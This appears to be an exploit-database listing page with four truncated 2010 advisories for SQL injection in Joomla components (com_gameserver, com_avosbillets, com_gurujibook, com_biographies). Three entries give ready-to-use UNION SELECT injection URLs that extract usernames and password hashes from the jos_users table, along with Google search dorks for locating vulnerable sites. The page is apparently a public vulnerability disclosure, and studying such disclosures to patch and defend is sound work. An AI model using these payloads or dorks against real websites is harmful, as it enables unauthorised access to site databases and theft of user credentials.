# Title: Joomla Component com_gameserver SQL Injection Vulnerability
# EDB-ID: 11222
# CVE-ID: ()
# OSVDB-ID: ()
# Author: B-HUNT3|2
# Published: 2010-01-22
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
# Exploit Title: Joomla (com_gameserver) SQL Injection Vulnerability
# Date: 2010-01-22
# Author: B-Hunt3|2
# Software Link: http://joomlacode.org/gf/project/gameserver/frs/
# Version: 1.2
# CVE : N/A
[~]>> …[BEGIN ADVISORY]…
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> TITLE: Joomla (com_gameserver) SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> [...]

Continue reading...

# Title: Joomla (com_avosbillets) SQL injection Vulnerability
# EDB-ID: 11223
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Snakespc
# Published: 2010-01-22
# Verified: no
# Download Exploit Code
# Download N/A
view source
print?
#——————————————————–
#Joomla (com_avosbillets) SQL injection Vulnerability
#——————————————————–
#Discovered By: Snakespc ALGERIAN HaCkEr
#Mail: snakespc@gmail.com
#site:anti-sec.info/vb/index.php
#——————————————————-
#Dork:inurl”com_avosbillets”
#Exploit:
#——–
#PoC:
#http://server/index.php?option=com_avosbillets&task=view&view=event&id=-463+union+select+1,concat(username,0×3a,password),3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users–
———————————————————-

Continue reading...

# Title: Joomla Component com_gurujibook SQL injection Vulnerability
# EDB-ID: 11225
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Snakespc
# Published: 2010-01-22
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
#——————————————————–
#Joomla (com_gurujibook) SQL injection Vulnerability
#——————————————————–
#Discovered By: Snakespc ALGERIAN HaCkEr
#Mail: snakespc@gmail.com
#site:anti-sec.info/vb/index.php
#——————————————————-
#Dork:inurl”com_gurujibook”
#Exploit:
#——–
#Demo:
#http://server/index.php?option=com_gurujibook&task=showPDF&bookid=-32+union+all+select+concat(username,0×3a,password),2,3,4+from+jos_users–

Continue reading...

# Title: Joomla Component com_biographies SQL injection Vulnerability
# EDB-ID: 11226
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Snakespc
# Published: 2010-01-22
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
#——————————————————–
#Joomla (com_biographies) SQL injection Vulnerability
#——————————————————–
#Discovered By: Snakespc ALGERIAN HaCkEr
#Mail: snakespc@gmail.com
#site:anti-sec.info/vb/index.php
#——————————————————-
#Dork:inurl”com_biographies”
#Exploit:
#——–
#Demo:
#http://server/index.php?option=com_biographies&task=showFile&biobookid=-5+union+all+select+1,2,3,concat(username,0×3a,password)+from+jos_users–

Continue reading...